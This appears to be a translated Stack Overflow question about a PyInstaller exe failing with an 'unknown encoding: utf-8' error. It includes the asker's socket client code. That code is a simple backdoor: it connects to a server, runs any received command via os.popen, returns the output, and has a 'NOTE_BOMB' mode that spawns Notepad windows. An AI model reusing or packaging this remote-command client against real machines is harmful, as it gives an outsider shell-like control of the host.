【问题标题】:I am reciving an error for pyinstaller, conversion from py to exe works fine but there is an error when i try to open it我收到 pyinstaller 的错误,从 py 到 exe 的转换工作正常,但是当我尝试打开它时出现错误
【发布时间】:2021-04-08 02:50:36
【问题描述】:

我一直在尝试将我的第一个套接字项目转换为 exe,但由于某种原因,当我尝试加载它时显示错误。该错误在 python 控制台中是不可能看到的,但您可以在 cmd 提示符中看到它。如果您需要我向您展示 pyinstaller 的结果,请告诉我。

错误:

C:\WINDOWS\system32\output\client>client.exe
Python path configuration:
  PYTHONHOME = 'C:\WINDOWS\system32\output\client'
  PYTHONPATH = (not set)
  program name = 'C:\WINDOWS\system32\output\client\client.exe'
  isolated = 0
  environment = 0
  user site = 0
  import site = 0
  sys._base_executable = 'C:\\WINDOWS\\system32\\output\\client\\client.exe'
  sys.base_prefix = ''
  sys.base_exec_prefix = ''
  sys.executable = 'C:\\WINDOWS\\system32\\output\\client\\client.exe'
  sys.prefix = ''
  sys.exec_prefix = ''
  sys.path = [
    'C:\\WINDOWS\\system32\\output\\client\\base_library.zip',
    'C:\\WINDOWS\\system32\\output\\client',
  ]
Fatal Python error: init_fs_encoding: failed to get the Python codec of the filesystem encoding
Python runtime state: core initialized
LookupError: unknown encoding: utf-8

Current thread 0x00006558 (most recent call first):
<no Python frame>

代码:

import socket
import os

client_ip = socket.gethostbyname(socket.gethostname())
class Client:
    def __init__(self):
        self.host = '127.0.0.1'
        self.port = 6758
        self.server = socket.socket()

    def connect(self):
        self.server.connect((self.host,self.port))

    def send(self,text):
        self.server.send(str(text).encode('UTF-8'))

    def recv(self):
        self.msg = self.server.recv(1024)
        return self.msg.decode('UTF-8')

class Operate:
    def __init__(self):
        self.serv = Client()
        self.serv.connect()
        
    def hack(self):
        self.serv.send('{0} , {1} > '.format(client_ip,str(os.getcwd())))
        self.msg = self.serv.recv()
        if self.msg.split(' ')[0] == 'NOTE_BOMB':
            for i in range(int(self.msg.split(' ')[1])):
                data = os.popen('notepad.exe')

        else:
            data = os.popen(self.msg)
        self.serv.send('recived : '+str(data.read()))

run = True

bot = Operate()
while run:
    bot.hack()

【问题讨论】:

    标签: python python-3.x sockets operating-system


    【解决方案1】:

    首先我建议不要将 .py 文件转换为 .exe(因为 python 是一种解释语言,它不是一个好习惯)但是如果你想这样做并且正如你所说的那样你将它转换为 .exe使用 pyinstaller 但它不起作用可能有多种原因:
    1:您没有正确制作 .exe 文件。在这种情况下,请尝试使用 pyinstaller --onefile filename.py 重新制作 .exe 文件
    2:您的pyinstaller没有正确安装,请尝试重新安装pyinstaller(我将您的代码转换为我电脑上的exe,它可以工作)。

    【讨论】:

      猜你喜欢
      • 2021-06-14
      • 1970-01-01
      • 2021-09-26
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2020-08-17
      相关资源
      最近更新 更多